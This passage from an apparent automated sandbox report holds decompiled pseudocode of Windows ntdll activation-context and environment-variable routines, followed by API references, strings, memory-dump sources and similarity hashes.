								_t331 = _v28;
							}
							_v32 = _t331;
							_v24 = _v20;
						}
						_v36 = _t331;
						if(_t331 != 0) {
							 *_t331 = 0;
						}
						_v40 = 0;
						_v38 = _v20;
						if(_t368 != 0) {
							E6B4A9B10(_t368);
						}
						return E6B4BB640(_t370, _t329, _v12 ^ _t377, _t361, _t368, _t370);
					}
					__eflags = _v148 - 0x14;
					_t368 = _v128;
					if(_v148 < 0x14) {
						L57:
						_t370 = 0xc0150003;
						goto L2;
					}
					__eflags = _v156 - 1;
					if(_v156 != 1) {
						goto L57;
					}
					_t334 = _v152;
					_t361 =  *(_t334 + 0x10);
					__eflags = _t361 - _v132;
					if(_t361 > _v132) {
						goto L57;
					}
					_t222 =  *(_t334 + 0xc);
					__eflags = _t222 - 0x1fffffff;
					if(_t222 > 0x1fffffff) {
						goto L57;
					}
					_t371 = _t222 * 8;
					__eflags = _t361 -  !_t371;
					if(_t361 >  !_t371) {
						goto L57;
					}
					_t225 = _t371 + _t361;
					_t361 = _v132;
					__eflags = _t225 - _t361;
					if(_t225 > _t361) {
						goto L57;
					}
					_t226 =  *(_t334 + 4);
					__eflags = _t226 & 0x00000002;
					if((_t226 & 0x00000002) == 0) {
						L22:
						_t372 = _v60;
						_v56 =  *(_t334 + 0x10) + _v136;
						_v64 = 0;
						 *_t372 = 0;
						_t335 = 0;
						_v48 =  *(_t334 + 0xc);
						_t230 = 0;
						__eflags = _v48;
						if(_v48 != 0) {
							_t231 = 0;
							__eflags = 0;
							while(1) {
								_t336 = _t231 * 8;
								_t232 = _v56;
								_v44 = _t336;
								_t337 =  *((intOrPtr*)(_t336 + _t232 + 4));
								__eflags = _t337 - _t361;
								if(_t337 > _t361) {
									goto L57;
								}
								_t233 =  *(_v44 + _t232);
								_t372 = _v60;
								_v44 = _t233;
								__eflags = _t337 -  !_t233;
								if(_t337 >  !_t233) {
									goto L57;
								}
								__eflags = _v44 + _t337 - _t361;
								if(_v44 + _t337 > _t361) {
									goto L57;
								}
								_t335 = (_v44 & 0x0000ffff) +  *_t372;
								_v44 = _t335 & 0x0000ffff;
								_t231 = _v64 + 1;
								 *_t372 = _t335;
								_v64 = _t231;
								__eflags = _t231 - _v48;
								if(_t231 != _v48) {
									continue;
								}
								_t230 = _v44 & 0x0000ffff;
								goto L23;
							}
							goto L57;
						}
						L23:
						_t361 = _v52;
						_t241 = _t230 & 0x0000ffff;
						__eflags = _t361;
						if(_t361 != 0) {
							_t319 = ( *_t361 & 0x0000ffff) + _t335;
							__eflags = _t319;
							 *_t372 = _t319;
							_t241 = _t319 & 0x0000ffff;
						}
						_t243 = (_t241 & 0x0000ffff) + 2;
						__eflags = _t243 - 0xfffe;
						if(_t243 > 0xfffe) {
							_t370 = 0xc0000106;
							goto L2;
						} else {
							_t339 = _t329 + 8;
							__eflags = _t339;
							if(_t339 == 0) {
								L28:
								_t244 = E6B4AD690(0, _t339, _t243);
								__eflags = _t244;
								if(_t244 < 0) {
									L69:
									_t370 = 0xc0000017;
									goto L2;
								}
								_t361 = _v52;
								_t339 = _t329 + 8;
								L30:
								 *((intOrPtr*)(_t329 + 4)) =  *_t339;
								 *((short*)(_t329 + 2)) =  *((intOrPtr*)(_t329 + 0x10));
								__eflags = _t361;
								if(_t361 == 0) {
									L35:
									_t247 = 0;
									_v44 = 0;
									__eflags = _v48;
									if(_v48 != 0) {
										while(1) {
											_t362 = _v56;
											_t248 =  *(_t362 + _t247 * 8) & 0x0000ffff;
											_t375 = _t248;
											_t361 =  *((intOrPtr*)(_t362 + 4 + _v44 * 8)) + _v136;
											_v68 = _t248;
											_v84 = _t248;
											_v80 = _t375;
											_t251 = ( *_t329 & 0x0000ffff) + 2 + _t375;
											_v64 = _t361;
											_t372 = _v60;
											__eflags = _t251 - 0xfffe;
											if(_t251 > 0xfffe) {
												break;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L77:
												_t252 = E6B4AD690(0, _t339, _t251);
												__eflags = _t252;
												if(_t252 < 0) {
													goto L69;
												}
												_t361 = _v64;
												_t339 = _t329 + 8;
												L79:
												_t340 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t340;
												memmove(_t340 + (( *_t329 & 0x0000ffff) >> 1) * 2, _t361, _v80);
												_t341 =  *_t329 & 0x0000ffff;
												_t379 = _t379 + 0xc;
												_t364 = _v84 + _t341 & 0x0000ffff;
												 *_t329 = _t364;
												 *((short*)(_t329 + 2)) = _v68 + 2 + _t341;
												_t361 = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t364 >> 1) * 2)) = 0;
												_t339 = _t329 + 8;
												_t247 = _v44 + 1;
												_v44 = _t247;
												__eflags = _t247 - _v48;
												if(_t247 != _v48) {
													continue;
												}
												goto L36;
											}
											__eflags = _t251 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t251 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L79;
											}
											goto L77;
										}
										L85:
										_t370 = 0xc0000106;
										goto L2;
									}
									L36:
									_t265 =  *(_v152 + 4);
									__eflags = _t265 & 0x00000001;
									if((_t265 & 0x00000001) != 0) {
										L46:
										__eflags = _t265 & 0x00000004;
										if(__eflags != 0) {
											_t361 = _t329;
											_push( &_v40);
											_t370 = E6B503F4D(_t329, _t329, _t368, _t372, __eflags);
											__eflags = _t370;
											if(_t370 < 0) {
												goto L2;
											}
											_t361 = _v40;
											 *_t329 = 0;
											_t270 = (_t361 & 0x0000ffff) + 2;
											__eflags = _t270 - 0xfffe;
											if(_t270 <= 0xfffe) {
												_t376 = _t329 + 8;
												__eflags = _t376;
												if(_t376 == 0) {
													L93:
													_t271 = E6B4AD690(0, _t376, _t270);
													__eflags = _t271;
													if(_t271 >= 0) {
														_t361 = _v40;
														L96:
														_t344 =  *_t376;
														 *((intOrPtr*)(_t329 + 4)) = _t344;
														memmove(_t344 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v36, _t361 & 0x0000ffff);
														_t192 = ( *_t329 & 0x0000ffff) + _v40 + 2; // 0x20002
														 *((short*)(_t329 + 2)) = _t192;
														_t278 = ( *_t329 & 0x0000ffff) + _v40 & 0x0000ffff;
														 *_t329 = _t278;
														_t361 = 0;
														 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t278 >> 1) * 2)) = 0;
														goto L47;
													}
													_t370 = 0xc0000017;
													goto L2;
												}
												__eflags = _t270 -  *((intOrPtr*)(_t329 + 0x10));
												if(_t270 <=  *((intOrPtr*)(_t329 + 0x10))) {
													goto L96;
												}
												goto L93;
											}
											_t370 = 0xc0000106;
											goto L2;
										}
										L47:
										_t280 = _v88;
										__eflags = _t280;
										if(_t280 != 0) {
											 *_t280 =  *_t280 | 0x00000002;
										}
										_t370 = 0;
										goto L2;
									}
									__eflags = _t265 & 0x00000008;
									if((_t265 & 0x00000008) != 0) {
										_t370 = E6B493690(1,  &_v76, 0x6b451810,  &_v48);
										__eflags = _t370;
										if(_t370 >= 0) {
											_t366 = _v76 + 0xfffe - _v48;
											_t372 = _v60;
											_t288 = _v72 + ((_v48 & 0x0000ffff) >> 1) * 2 + 2;
											_t339 = _t329 + 8;
											L39:
											_v46 = _t366;
											_t361 = _t366 & 0x0000ffff;
											 *_t372 =  *_t372 + _t361;
											__eflags =  *_t372 - 0xffff;
											_v56 = _t288;
											_v68 = _t361;
											if( *_t372 >= 0xffff) {
												goto L85;
											}
											_t291 = ( *_t329 & 0x0000ffff) + 2 + _t361;
											__eflags = _t291 - 0xfffe;
											if(_t291 > 0xfffe) {
												_t370 = 0xc0000106;
												goto L2;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L43:
												_t292 = E6B4AD690(0, _t339, _t291);
												__eflags = _t292;
												if(_t292 < 0) {
													_t370 = 0xc0000017;
													goto L2;
												}
												_t361 = _v68;
												_t339 = _t329 + 8;
												L45:
												_t351 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t351;
												memmove(_t351 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v56, _t361);
												_t379 = _t379 + 0xc;
												_t353 = ( *_t329 & 0x0000ffff) + _v46;
												 *((short*)(_t329 + 2)) = _t353 + 2;
												_t298 = _t353 & 0x0000ffff;
												 *_t329 = _t298;
												_t361 = 0;
												__eflags = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t298 >> 1) * 2)) = 0;
												_t265 =  *(_v152 + 4);
												goto L46;
											}
											__eflags = _t291 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t291 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L45;
											}
											goto L43;
										}
										__eflags = _t370 - 0xc0000225;
										if(_t370 == 0xc0000225) {
											E6B515100(_t339, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x477, "Status != STATUS_NOT_FOUND");
											_t370 = 0xc00000e5;
										}
										goto L2;
									}
									_t288 = _v72;
									_t366 = _v76;
									goto L39;
								}
								 *_t329 = 0;
								_t304 = ( *_t361 & 0x0000ffff) + 2;
								__eflags = _t304 - 0xfffe;
								if(_t304 > 0xfffe) {
									_t370 = 0xc0000106;
									goto L2;
								}
								__eflags = _t339;
								if(_t339 == 0) {
									L71:
									_t305 = E6B4AD690(0, _t339, _t304);
									__eflags = _t305;
									if(_t305 >= 0) {
										_t361 = _v52;
										_t339 = _t329 + 8;
										L34:
										_t356 =  *_t339;
										 *((intOrPtr*)(_t329 + 4)) = _t356;
										memmove(_t356 + (( *_t329 & 0x0000ffff) >> 1) * 2,  *(_t361 + 4),  *_t361 & 0x0000ffff);
										_t357 = _v52;
										_t379 = _t379 + 0xc;
										_t367 =  *_t329 & 0x0000ffff;
										 *((short*)(_t329 + 2)) = ( *_t357 & 0x0000ffff) + 2 + _t367;
										_t316 = ( *_t357 & 0x0000ffff) + _t367 & 0x0000ffff;
										 *_t329 = _t316;
										_t361 = 0;
										__eflags = 0;
										 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t316 >> 1) * 2)) = 0;
										_t339 = _t329 + 8;
										goto L35;
									}
									_t370 = 0xc0000017;
									goto L2;
								}
								__eflags = _t304 -  *((intOrPtr*)(_t329 + 0x10));
								if(_t304 >  *((intOrPtr*)(_t329 + 0x10))) {
									goto L71;
								}
								goto L34;
							}
							__eflags = _t243 -  *((intOrPtr*)(_t329 + 0x10));
							if(_t243 <=  *((intOrPtr*)(_t329 + 0x10))) {
								goto L30;
							}
							goto L28;
						}
					}
					_t360 = 0;
					_v44 = 0;
					__eflags = _t226 & 0x00000004;
					if((_t226 & 0x00000004) != 0) {
						_push("sxsisol_SearchActCtxForDllName");
						_push( *((intOrPtr*)( *[fs:0x18] + 0x24)));
						E6B505720(0x33, 0, "[%x.%x] SXS: %s - Relative redirection plus env var expansion.\n",  *((intOrPtr*)( *[fs:0x18] + 0x20)));
						goto L57;
					}
					_t323 = _v120;
					__eflags = _t323 & 0x00000001;
					if((_t323 & 0x00000001) != 0) {
						__eflags = _t323 & 0x00000002;
						if((_t323 & 0x00000002) != 0) {
							E6B515100(0, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x41b, "!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)");
							_t370 = 0xc00000e5;
							goto L2;
						}
						_t360 = 1;
					}
					__eflags = _t323 & 0x00000002;
					if((_t323 & 0x00000002) != 0) {
						_t360 = _t360 | 0x00000002;
					}
					_t361 = _t368;
					_t370 = E6B4AC63D(_t360, _t368, _v124,  &_v52, _t360,  &_v44);
					__eflags = _t370;
					if(_t370 < 0) {
						__eflags = _t370 - 0xc0000120;
						if(_t370 == 0xc0000120) {
							_t328 = _v44;
							__eflags = _t328;
							if(_t328 < 0) {
								_t370 = _t328;
							}
						}
						goto L2;
					} else {
						_t334 = _v152;
						_t361 = _v132;
						goto L22;
					}
				}
				if(_t370 == 0xc0150001) {
					_t370 = 0xc0150008;
				}
				goto L2;
			}

0x6b492990
0x6b4929a2
0x6b4929a9
0x6b4929ae
0x6b4929b1
0x6b4929b8
0x6b4929c4
0x6b4929c7
0x6b4929d1
0x6b4929d8
0x6b4929db
0x6b4929de
0x6b4929e3
0x6b4929e6
0x6b4929e9
0x6b4929ec
0x6b4929ef
0x6b4929f4
0x6b492a02
0x6b492a0b
0x6b492a12
0x6b492a19
0x6b492a25
0x6b492a29
0x6b492a89
0x6b492a8d
0x6b4dd3f9
0x6b492a37
0x6b492a37
0x6b492a3a
0x6b492a3f
0x6b492a43
0x6b4dd6ed
0x6b4dd6f4
0x6b4dd6f9
0x6b4dd6f9
0x6b492a4c
0x6b492a4f
0x6b492a4f
0x6b492a52
0x6b492a57
0x6b492a5b
0x6b492a5b
0x6b492a60
0x6b492a68
0x6b492a6e
0x6b492d15
0x6b492d15
0x6b492a86
0x6b492a86
0x6b492a93
0x6b492a9a
0x6b492a9d
0x6b4dd428
0x6b4dd428
0x00000000
0x6b4dd428
0x6b492aa3
0x6b492aaa
0x00000000
0x00000000
0x6b492ab0
0x6b492ab6
0x6b492ab9
0x6b492abc
0x00000000
0x00000000
0x6b492ac2
0x6b492ac5
0x6b492aca
0x00000000
0x00000000
0x6b492ad0
0x6b492adb
0x6b492add
0x00000000
0x00000000
0x6b492ae3
0x6b492ae6
0x6b492ae9
0x6b492aeb
0x00000000
0x00000000
0x6b492af1
0x6b492af4
0x6b492af6
0x6b492b42
0x6b492b4b
0x6b492b4e
0x6b492b51
0x6b492b58
0x6b492b61
0x6b492b63
0x6b492b66
0x6b492b68
0x6b492b6b
0x6b4dd473
0x6b4dd473
0x6b4dd475
0x6b4dd475
0x6b4dd47c
0x6b4dd47f
0x6b4dd482
0x6b4dd486
0x6b4dd488
0x00000000
0x00000000
0x6b4dd48d
0x6b4dd490
0x6b4dd493
0x6b4dd498
0x6b4dd49a
0x00000000
0x00000000
0x6b4dd4a1
0x6b4dd4a3
0x00000000
0x00000000
0x6b4dd4ab
0x6b4dd4b0
0x6b4dd4b6
0x6b4dd4b7
0x6b4dd4b9
0x6b4dd4bc
0x6b4dd4bf
0x00000000
0x00000000
0x6b4dd4c4
0x00000000
0x6b4dd4c4
0x00000000
0x6b4dd475
0x6b492b71
0x6b492b71
0x6b492b74
0x6b492b77
0x6b492b79
0x6b492b7e
0x6b492b7e
0x6b492b80
0x6b492b82
0x6b492b82
0x6b492b88
0x6b492b8b
0x6b492b90
0x6b4dd4cc
0x00000000
0x6b492b96
0x6b492b96
0x6b492b99
0x6b492b9b
0x6b492ba2
0x6b492ba6
0x6b492bab
0x6b492bad
0x6b4dd4d6
0x6b4dd4d6
0x00000000
0x6b4dd4d6
0x6b492bb3
0x6b492bb6
0x6b492bb9
0x6b492bbb
0x6b492bc2
0x6b492bc6
0x6b492bc8
0x6b492c3e
0x6b492c3e
0x6b492c40
0x6b492c43
0x6b492c46
0x6b4dd50c
0x6b4dd50c
0x6b4dd512
0x6b4dd51a
0x6b4dd51c
0x6b4dd522
0x6b4dd525
0x6b4dd52e
0x6b4dd531
0x6b4dd533
0x6b4dd536
0x6b4dd539
0x6b4dd53e
0x00000000
0x00000000
0x6b4dd544
0x6b4dd546
0x6b4dd54d
0x6b4dd551
0x6b4dd556
0x6b4dd558
0x00000000
0x00000000
0x6b4dd55e
0x6b4dd561
0x6b4dd564
0x6b4dd567
0x6b4dd56f
0x6b4dd576
0x6b4dd57b
0x6b4dd57e
0x6b4dd586
0x6b4dd58f
0x6b4dd596
0x6b4dd59a
0x6b4dd5a1
0x6b4dd5a5
0x6b4dd5ab
0x6b4dd5ac
0x6b4dd5af
0x6b4dd5b2
0x00000000
0x00000000
0x00000000
0x6b4dd5b8
0x6b4dd548
0x6b4dd54b
0x00000000
0x00000000
0x00000000
0x6b4dd54b
0x6b4dd630
0x6b4dd630
0x00000000
0x6b4dd630
0x6b492c4c
0x6b492c52
0x6b492c55
0x6b492c57
0x6b492cfe
0x6b492cfe
0x6b492d00
0x6b4dd651
0x6b4dd653
0x6b4dd659
0x6b4dd65b
0x6b4dd65d
0x00000000
0x00000000
0x6b4dd663
0x6b4dd669
0x6b4dd66f
0x6b4dd672
0x6b4dd677
0x6b4dd683
0x6b4dd686
0x6b4dd688
0x6b4dd68f
0x6b4dd693
0x6b4dd698
0x6b4dd69a
0x6b4dd6a6
0x6b4dd6aa
0x6b4dd6aa
0x6b4dd6b8
0x6b4dd6bf
0x6b4dd6ce
0x6b4dd6d1
0x6b4dd6d5
0x6b4dd6da
0x6b4dd6e2
0x6b4dd6e4
0x00000000
0x6b4dd6e4
0x6b4dd69c
0x00000000
0x6b4dd69c
0x6b4dd68a
0x6b4dd68d
0x00000000
0x00000000
0x00000000
0x6b4dd68d
0x6b4dd679
0x00000000
0x6b4dd679
0x6b492d06
0x6b492d06
0x6b492d09
0x6b492d0b
0x6b492d39
0x6b492d39
0x6b492d0d
0x00000000
0x6b492d0d
0x6b492c5d
0x6b492c5f
0x6b4dd5d1
0x6b4dd5d3
0x6b4dd5d5
0x6b4dd617
0x6b4dd61d
0x6b4dd625
0x6b4dd628
0x6b492c6c
0x6b492c6c
0x6b492c70
0x6b492c73
0x6b492c75
0x6b492c7b
0x6b492c7e
0x6b492c81
0x00000000
0x00000000
0x6b492c8d
0x6b492c8f
0x6b492c94
0x6b4dd63a
0x00000000
0x6b4dd63a
0x6b492c9a
0x6b492c9c
0x6b492ca3
0x6b492ca7
0x6b492cac
0x6b492cae
0x6b4dd644
0x00000000
0x6b4dd644
0x6b492cb4
0x6b492cb7
0x6b492cba
0x6b492cbd
0x6b492cc5
0x6b492ccc
0x6b492cd4
0x6b492cd7
0x6b492cde
0x6b492ce2
0x6b492ce7
0x6b492cef
0x6b492cef
0x6b492cf1
0x6b492cfb
0x00000000
0x6b492cfb
0x6b492c9e
0x6b492ca1
0x00000000
0x00000000
0x00000000
0x6b492ca1
0x6b4dd5d7
0x6b4dd5dd
0x6b4dd5f7
0x6b4dd5fc
0x6b4dd5fc
0x00000000
0x6b4dd5dd
0x6b492c65
0x6b492c68
0x00000000
0x6b492c68
0x6b492bcc
0x6b492bd2
0x6b492bd5
0x6b492bda
0x6b4dd4e0
0x00000000
0x6b4dd4e0
0x6b492be0
0x6b492be2
0x6b4dd4ea
0x6b4dd4ee
0x6b4dd4f3
0x6b4dd4f5
0x6b4dd501
0x6b4dd504
0x6b492bf1
0x6b492bf1
0x6b492bf3
0x6b492c06
0x6b492c0b
0x6b492c0e
0x6b492c11
0x6b492c1e
0x6b492c28
0x6b492c2d
0x6b492c35
0x6b492c35
0x6b492c37
0x6b492c3b
0x00000000
0x6b492c3b
0x6b4dd4f7
0x00000000
0x6b4dd4f7
0x6b492be8
0x6b492beb
0x00000000
0x00000000
0x00000000
0x6b492beb
0x6b492b9d
0x6b492ba0
0x00000000
0x00000000
0x00000000
0x6b492ba0
0x6b492b90
0x6b492af8
0x6b492afa
0x6b492b01
0x6b492b03
0x6b4dd406
0x6b4dd40b
0x6b4dd420
0x00000000
0x6b4dd425
0x6b492b09
0x6b492b0c
0x6b492b0e
0x6b492d27
0x6b492d29
0x6b4dd446
0x6b4dd44b
0x00000000
0x6b4dd44b
0x6b492d2f
0x6b492d2f
0x6b492b14
0x6b492b16
0x6b492d1f
0x6b492d1f
0x6b492b1f
0x6b492b2f
0x6b492b31
0x6b492b33
0x6b4dd455
0x6b4dd45b
0x6b4dd461
0x6b4dd464
0x6b4dd466
0x6b4dd46c
0x6b4dd46c
0x6b4dd466
0x00000000
0x6b492b39
0x6b492b39
0x6b492b3f
0x00000000
0x6b492b3f
0x6b492b33
0x6b492a31
0x6b4dd3ef
0x6b4dd3ef
0x00000000

APIs

memset.1105(?,00000000,0000003C,?,00000000,?), ref: 6B4929D1
RtlFindActivationContextSectionString.1105(00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B492A20
RtlpEnsureBufferSize.1105(00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B492BA6
memmove.1105(6B454F84,00000000,6B454F84,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B492C06
RtlpEnsureBufferSize.1105(00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B492CA7
memmove.1105(00000000,00000001,00000000,00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000), ref: 6B492CCC
RtlReleaseActivationContext.1105(?,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B492D15
RtlpEnsureBufferSize.1105(00000000,?,-00000002,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B4DD4EE

Strings

[%x.%x] SXS: %s - Relative redirection plus env var expansion., xrefs: 6B4DD417
minkernel\ntdll\sxsisol.cpp, xrefs: 6B4DD43C, 6B4DD5ED
Status != STATUS_NOT_FOUND, xrefs: 6B4DD5E3
@, xrefs: 6B4929C7
!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT), xrefs: 6B4DD432
Internal error check failed, xrefs: 6B4DD441, 6B4DD5F2
sxsisol_SearchActCtxForDllName, xrefs: 6B4DD406

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureRtlpSize$ActivationContextmemmove$FindReleaseSectionStringmemset
String ID: !(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)$@$Internal error check failed$Status != STATUS_NOT_FOUND$[%x.%x] SXS: %s - Relative redirection plus env var expansion.$minkernel\ntdll\sxsisol.cpp$sxsisol_SearchActCtxForDllName
API String ID: 2718660278-761764676
Opcode ID: 6f609bb61eea5c1aef92babeda335d7c444455b5106ed6cc19610c0e9b8981f6
Instruction ID: 32439c46f5a69582c5dfc853747558e970fa05aa874e14f714d4105c5e3c70b3
Opcode Fuzzy Hash: 6f609bb61eea5c1aef92babeda335d7c444455b5106ed6cc19610c0e9b8981f6
Instruction Fuzzy Hash: C9126071E401259BDB24DFA8D891FAEB7F1EF49704F1444A9E849EB344EB389841CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A2F70, Relevance: 41.1, APIs: 27, Instructions: 610
memorythreadCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6B4A2F70(void* _a4, void* _a8, signed int _a12, void* _a16, intOrPtr _a20) {
				long _v8;
				signed int _v12;
				char _v20;
				void* _v29;
				char _v30;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				long _v56;
				void* _v60;
				void* _v64;
				long _v68;
				char _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				signed short _v88;
				signed int _v92;
				signed short _v96;
				signed int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				void* __ebx;
				void* __ebp;
				signed int _t223;
				long _t226;
				signed int _t227;
				intOrPtr _t229;
				void* _t233;
				void* _t244;
				short* _t247;
				void* _t248;
				short* _t251;
				void* _t252;
				void _t253;
				signed int _t262;
				signed int _t266;
				signed short* _t267;
				signed int _t268;
				void* _t269;
				void* _t279;
				void* _t281;
				void _t299;
				signed int _t315;
				signed int _t325;
				void* _t328;
				void* _t329;
				void* _t330;
				signed int _t333;
				void* _t336;
				void* _t337;
				void* _t343;
				void* _t348;
				void* _t349;
				void* _t350;
				void* _t351;
				void* _t352;
				intOrPtr _t353;
				void* _t355;
				void* _t360;
				signed int _t365;
				signed int _t366;
				short* _t369;
				void* _t370;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t380;
				signed short _t381;
				signed short _t382;
				signed int _t389;
				void* _t390;
				void* _t392;
				void* _t393;
				void* _t395;
				signed int _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t403;
				void* _t406;
				short* _t407;
				void* _t408;
				short* _t409;
				void* _t412;
				int _t413;
				void* _t414;
				void* _t415;
				short* _t416;
				signed int _t419;
				int _t421;
				int _t422;
				signed int _t423;
				int _t424;
				int _t425;
				signed int _t427;
				void* _t428;
				intOrPtr _t429;
				int _t430;
				void* _t433;
				short* _t434;
				int _t436;
				int _t437;
				signed int _t438;
				signed int _t441;
				void* _t442;
				void* _t443;
				void* _t445;

				_push(0xfffffffe);
				_push(0x6b54ff28);
				_push(0x6b4c17f0);
				_push( *[fs:0x0]);
				_t443 = _t442 - 0x5c;
				_t223 =  *0x6b56d360;
				_v12 = _v12 ^ _t223;
				_push(_t223 ^ _t441);
				 *[fs:0x0] =  &_v20;
				_v52 = 0;
				_v68 = 0;
				_v29 = 0;
				_v30 = 0;
				_t419 = _a12;
				if(_t419 == 0) {
					L100:
					_t226 = 0xc000000d;
					L65:
					 *[fs:0x0] = _v20;
					return _t226;
				}
				_t348 = _a8;
				if( *_t348 == 0) {
					goto L100;
				} else {
					_t227 = 1;
					while(_t227 < _t419) {
						_t389 =  *(_t348 + _t227 * 2) & 0x0000ffff;
						if(_t389 == 0 || _t389 == 0x3d) {
							goto L100;
						} else {
							_t227 = _t227 + 1;
							_t348 = _a8;
							continue;
						}
					}
					_t349 = _a16;
					__eflags = _t349;
					if(_t349 == 0) {
						L12:
						_t229 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						_t336 =  *((intOrPtr*)(_t229 + 0x10));
						_v44 = _t336;
						_v108 = _t336;
						_v56 = 0;
						_v72 = 0;
						_t350 = _a4;
						__eflags = _t350;
						if(_t350 != 0) {
							_t351 =  *_t350;
							_v36 = _t351;
							__eflags =  *(_t336 + 0x48) - _t351;
							if( *(_t336 + 0x48) != _t351) {
								L14:
								_v8 = 0;
								_t406 = _t351;
								_v40 = _t406;
								_t337 = 0;
								_v48 = 0;
								__eflags = _t351;
								if(_t351 == 0) {
									L60:
									_t230 = _v72;
									__eflags = _t230;
									if(_t230 != 0) {
										_t406 = _t230;
										_v40 = _t406;
									}
									__eflags = _t337;
									if(_t337 == 0) {
										__eflags = _a16;
										if(_a16 == 0) {
											goto L62;
										}
										__eflags = _t406;
										if(_t406 == 0) {
											_t353 = _a20;
											_t233 = 6 + (_t419 + _t353) * 2;
											_t390 = 0;
											L74:
											_v80 = _t233;
											__eflags = _t233 - _t390;
											if(_t233 < _t390) {
												_t162 = _t353 + 2; // 0x2
												memmove(_t406 + (_t162 + _t419) * 2, _t406, _t337 - _t406 & 0xfffffffe);
												_t421 = _t419 + _t419;
												memcpy(_t406, _a8, _t421);
												_t445 = _t443 + 0x18;
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6b568220, 0, 0x234);
													_t445 = _t445 + 0xc;
												}
												_t407 = _t406 + _t421;
												_v40 = _t407;
												 *_t407 = 0x3d;
												_t408 = _t407 + 2;
												_v40 = _t408;
												_t422 = _a20 + _a20;
												memcpy(_t408, _a16, _t422);
												_t409 = _t408 + _t422;
												_v40 = _t409;
												_t230 = 0;
												 *_t409 = 0;
												_v40 = _t409 + 2;
												__eflags = _a4;
												if(_a4 != 0) {
													goto L63;
												} else {
													_t352 = _v44;
													 *((intOrPtr*)(_t352 + 0x48)) = _v36;
													_t230 = _v80;
													 *((intOrPtr*)(_t352 + 0x290)) = _v80;
													 *((intOrPtr*)(_t352 + 0x294)) =  *((intOrPtr*)(_t352 + 0x294)) + 1;
													goto L64;
												}
											}
											_t355 = E6B4A36CC(_t233);
											_v76 = _t355;
											__eflags = _t355;
											if(_t355 == 0) {
												L106:
												_v56 = 0xc000009a;
												goto L62;
											}
											__eflags = _t406;
											if(_t406 == 0) {
												_t423 = 0;
											} else {
												_t392 = _v36;
												_t427 = _t406 - _t392;
												__eflags = _t427;
												_t423 = _t427 >> 1;
												memcpy(_t355, _t392, _t423 + _t423);
												_t443 = _t443 + 0xc;
												_t355 = _v76;
											}
											_t244 = _t355 + _t423 * 2;
											_v64 = _t244;
											_t424 = _a12 + _a12;
											memcpy(_t244, _a8, _t424);
											_t247 = _v64 + _t424;
											 *_t247 = 0x3d;
											_t248 = _t247 + 2;
											_v64 = _t248;
											_t425 = _a20 + _a20;
											memcpy(_t248, _a16, _t425);
											_t251 = _v64 + _t425;
											 *_t251 = 0;
											_t252 = _t251 + 2;
											__eflags = _t406;
											if(_t406 == 0) {
												 *_t252 = 0;
												_t338 = _v29;
											} else {
												memcpy(_t252, _t406, _t337 - _t406 & 0xfffffffe);
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6b568220, 0, 0x234);
												}
											}
											_t360 = _a4;
											_t253 = _v76;
											__eflags = _t360;
											if(_t360 != 0) {
												 *_t360 = _t253;
											} else {
												_t360 = _v44;
												 *(_t360 + 0x48) = _t253;
												 *((intOrPtr*)(_t360 + 0x290)) = _v80;
												_t146 = _t360 + 0x294;
												 *_t146 =  *(_t360 + 0x294) + 1;
												__eflags =  *_t146;
											}
											__eflags = _v30;
											if(_v30 != 0) {
												E6B48EB70(_t360,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
												_v30 = 0;
											}
											_t230 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
											goto L63;
										}
										_v48 = _t406;
										while(1) {
											L69:
											_t262 =  *_t406 & 0x0000ffff;
											__eflags = _t262;
											if(_t262 == 0) {
												break;
											}
											while(1) {
												_t406 = _t406 + 2;
												_v48 = _t406;
												__eflags = _t262;
